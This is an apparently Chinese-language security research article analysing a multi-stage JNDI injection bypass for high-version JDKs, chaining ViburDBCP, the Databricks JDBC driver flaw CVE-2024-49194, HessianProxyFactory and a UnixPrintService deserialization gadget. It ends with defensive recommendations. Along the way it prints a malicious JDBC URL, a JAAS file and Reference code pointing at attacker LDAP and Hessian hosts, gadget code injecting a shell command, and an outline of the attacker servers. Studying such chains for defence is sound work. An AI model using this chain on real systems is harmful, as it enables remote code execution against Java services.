高版本JDK环境下JNDI注入绕过技术研究
基于ViburDBCP与HessianProxy的利用链分析
1. 技术背景与问题核心
1.1 JNDI注入机制演变
JNDI(Java Naming and Directory Interface)注入是一种通过恶意命名服务(如LDAP、RMI)加载并执行远程代码的攻击手段。其核心漏洞点在于InitialContext.lookup()方法在解析恶意URL时,会自动从攻击者控制的服务器加载并实例化类。
高低版本JDK的关键差异:
| 特性 | 低版本JDK(如8u65) | 高版本JDK(如8u201+、11+) |
|---|---|---|
trustURLCodebase属性 |
无此限制或默认允许 | 默认设置为false |
| 远程类加载 | 允许从codebase指定地址加载任意类 |
禁止加载远程的序列化对象工厂类 |
| 绕过方式 | 直接远程类加载+实例化RCE | 需寻找本地ObjectFactory实现类,调用其getObjectInstance()方法实现RCE |
高版本绕过原理:
在javax.naming.spi.NamingManager#getObjectFactoryFromReference方法中,高版本JDK因trustURLCodebase=false而无法从远程获取ObjectFactory实例。但攻击流程并未终止,系统会转而尝试从本地类路径加载并实例化一个实现了javax.naming.spi.ObjectFactory接口的类,并调用其getObjectInstance()方法。因此,攻击的关键转变为寻找一个存在于目标类路径中、且getObjectInstance()方法存在可利用逻辑的ObjectFactory实现类。
2. 漏洞利用链组件详解
2.1 第一环节:ViburDBCPObjectFactory
ViburDBCP是一个数据库连接池库。其org.vibur.dbcp.ViburDBCPObjectFactory类实现了ObjectFactory接口。
利用路径分析:
- 入口:
ViburDBCPObjectFactory.getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) - 关键调用:在该方法内部,会根据传入的参数创建并配置一个
ViburDBCPDataSource数据源对象,并调用其start()方法。 - 触发JDBC连接:在
start()方法的执行过程中,会初始化连接池,从而触发JDBC连接。连接字符串(jdbcUrl)及属性完全由攻击者通过JNDI Reference(如StringRefAddr)控制。
调用栈示意:
ViburDBCPObjectFactory.getObjectInstance()
-> ViburDBCPDataSource.start()
-> ViburDBCPDataSource.doStart()
-> ConcurrentPool.<init>()
-> ConnectionFactory.create()
-> Connector$Builder$Driver.connect() // 发起可控的JDBC连接
至此,攻击实现了从JNDI注入到可控JDBC连接的转换。
2.2 第二环节:CVE-2024-49194 (Databricks JDBC驱动JNDI注入)
该漏洞允许通过JDBC连接字符串中的参数,触发第二次JNDI注入。
利用条件与过程:
- 驱动:使用
DatabricksJDBC驱动。 - 恶意JDBC URL构造示例:
关键参数为jdbc:databricks://attacker-host:443/default;transportMode=http;ssl=1;httpPath=/sql/1.0/endpoints/12345;AuthMech=1;krbHostFQDN=localhost;krbServiceName=spark;krbJAASFile=http://127.0.0.1:8888/jaas.confkrbJAASFile,其值指向一个攻击者控制的HTTP服务器上的JAAS配置文件。 - 恶意JAAS配置文件 (
jaas.conf):Client { com.sun.security.auth.module.JndiLoginModule required user.provider.url="ldap://attacker-ldap-host:1389/Exploit" group.provider.url="test" tryFirstPass="true"; }; - 触发流程:
- Databricks驱动在建立连接时,会解析
krbJAASFile指向的URL,下载并读取该JAAS配置文件。 - 配置中指定了
JndiLoginModule,并设置了user.provider.url为一个恶意LDAP地址。 - 在驱动初始化认证模块的过程中,
JndiLoginModule会执行lookup(user.provider.url),从而触发第二次JNDI注入。
- Databricks驱动在建立连接时,会解析
关键调用路径(简化):
DriverManager.getConnection(malicious_jdbc_url)
-> ... (驱动内部解析与配置)
-> JndiLoginModule.initialize()
-> JndiLoginModule.login()
-> JndiLoginModule.attemptAuthentication()
-> InitialContext.lookup(attacker_ldap_url) // 第二次JNDI注入
至此,攻击链实现了 JDBC连接 -> JNDI注入 的回环。
2.3 第三环节:HessianProxyFactory 反序列化
为了在第二次JNDI注入中执行代码,需要找到一个新的ObjectFactory作为跳板。这里利用了Hessian序列化框架中的com.caucho.hessian.client.HessianProxyFactory。
利用条件:
- 类要求:
HessianProxyFactory实现了javax.naming.spi.ObjectFactory接口。 - 方法触发:其
getObjectInstance()方法会调用create()方法,最终创建一个动态代理对象(HessianProxy)。 - 关键点:动态代理对象(
HessianProxy)的任何方法调用都会进入invoke方法。在invoke方法中,会向Reference中配置的URL发起Hessian协议请求,并反序列化服务器返回的响应流。
构造恶意Reference:
// 注意:type必须设置为`javax.naming.directory.DirContext`,以匹配后续的`search`方法调用
Reference ref = new Reference("javax.naming.directory.DirContext", "com.caucho.hessian.client.HessianProxyFactory", null);
ref.add(new StringRefAddr("type", "javax.naming.directory.DirContext"));
ref.add(new StringRefAddr("url", "http://attacker-hessian-host/hessian")); // 攻击者控制的Hessian服务端
触发反序列化:
在第二次JNDI lookup之后,题目代码通常会对返回的对象进行类型转换并调用其search方法。由于设置了type为DirContext,lookup返回的对象可被强转为DirContext,进而调用search()方法。这个search()调用会触发HessianProxy.invoke(),向url地址发起请求,并反序列化返回的数据,从而执行Hessian反序列化链。
至此,攻击链实现了 JNDI注入 -> Hessian反序列化 的转换。
3. 最终环节:高版本JDK反序列化绕过 (trustSerialData)
在JDK 11.0.29+等高版本中,com.sun.jndi.ldap.Object的trustSerialData属性默认为false,这会阻止在decodeObject过程中反序列化潜在的恶意对象,即使通过Hessian协议传入也会被拦截。
绕过方案:
利用一条不依赖传统TemplatesImpl或BCEL的、在JDK内部类中存在的利用链。文中示例使用了UnixPrintService链。
利用链构造核心:
Hessian2Input.readObject()
-> POJONode.toString() (Jackson库)
-> UnixPrintService.getXXX() (通过getter方法触发命令执行)
关键步骤代码示意:
// 1. 利用Unsafe机制,绕过构造函数实例化UnixPrintService
Class<?> unsafeClass = Class.forName("sun.misc.Unsafe");
Field unsafeField = unsafeClass.getDeclaredField("theUnsafe");
unsafeField.setAccessible(true);
Object unsafe = unsafeField.get(null);
Method allocateInstance = unsafeClass.getMethod("allocateInstance", Class.class);
Class<?> unixPrintServiceClass = Class.forName("sun.print.UnixPrintService");
Object service = allocateInstance.invoke(unsafe, unixPrintServiceClass);
// 2. 通过反射注入恶意命令到关键字段
setFieldValue(service, "printer", ";open -a calculator"); // 注入命令
setFieldValue(service, "isInvalid", false); // 确保服务状态有效
// 3. 将恶意service对象封装进POJONode,构造完整的Hessian序列化数据
POJONode node = new POJONode(service);
// ... 后续将node对象序列化为Hessian格式,并部署到攻击者控制的Hessian服务端
漏洞触发:
当受害服务器通过Hessian协议请求恶意服务端时,会收到此序列化数据。在反序列化过程中,会触发POJONode.toString(),进而调用UnixPrintService的getPrinter()等方法,最终导致注入的命令在getPrinterIsAcceptingJobs()等方法的实现中被执行。
4. 完整攻击链总结
攻击者需要搭建三个服务,并按照以下顺序触发漏洞:
- 搭建恶意LDAP服务(如JNDIExploit):配置
Reference指向ViburDBCPObjectFactory,并附带恶意的JDBC连接参数。 - 搭建恶意HTTP服务:托管包含指向第二个LDAP服务的
jaas.conf文件。 - 搭建第二个恶意LDAP服务:配置
Reference指向HessianProxyFactory,并附带连接恶意Hessian服务端的参数。 - 搭建恶意Hessian服务端:返回精心构造的、包含
UnixPrintService利用链的序列化载荷。
完整调用流程:
1. 受害者应用: InitialContext.lookup("ldap://attacker1:1389/Exploit1")
2. -> 攻击者LDAP1: 返回指向`ViburDBCPObjectFactory`的Reference,其中jdbcUrl指向Databricks驱动+恶意jaas.conf地址。
3. -> ViburDBCPObjectFactory.getObjectInstance(): 触发JDBC连接。
4. -> Databricks驱动: 读取`krbJAASFile=http://attacker-http/jaas.conf`。
5. -> 攻击者HTTP服务: 返回`jaas.conf`,其中`user.provider.url="ldap://attacker2:1389/Exploit2"`。
6. -> JndiLoginModule: 触发第二次lookup("ldap://attacker2:1389/Exploit2")。
7. -> 攻击者LDAP2: 返回指向`HessianProxyFactory`的Reference,其中url指向恶意Hessian服务端。
8. -> HessianProxyFactory.getObjectInstance(): 创建代理对象并返回。
9. -> 受害者应用: 对返回对象调用search()方法。
10. -> HessianProxy.invoke(): 向`http://attacker-hessian/hessian`发起请求。
11. -> 攻击者Hessian服务端: 返回恶意的Hessian序列化数据(包含UnixPrintService链)。
12. -> 受害者Hessian反序列化: 触发POJONode -> UnixPrintService链,执行系统命令。
5. 防御建议
- 升级JDK:始终使用最新版本的JDK,并及时安装安全补丁。
- 代码审查:避免在代码中使用不可信的JNDI查找参数,尤其是来自用户输入或网络请求的参数。
- 网络限制:在生产环境中,严格限制服务器对外发起网络连接的能力(出站防火墙规则),特别是非常用端口的LDAP、RMI、HTTP请求。
- 依赖管理:审计并移除不必要的、存在已知风险的第三方依赖库(如特定版本的数据库驱动、连接池、序列化框架)。
- 安全配置:在JDK高版本中,确保
com.sun.jndi.ldap.object.trustSerialData属性设置为false(默认值),切勿将其改为true。 - 运行时防护:考虑使用RASP(运行时应用自保护)或安全Agent对危险的JNDI查找、类加载、反序列化等操作进行监控和拦截。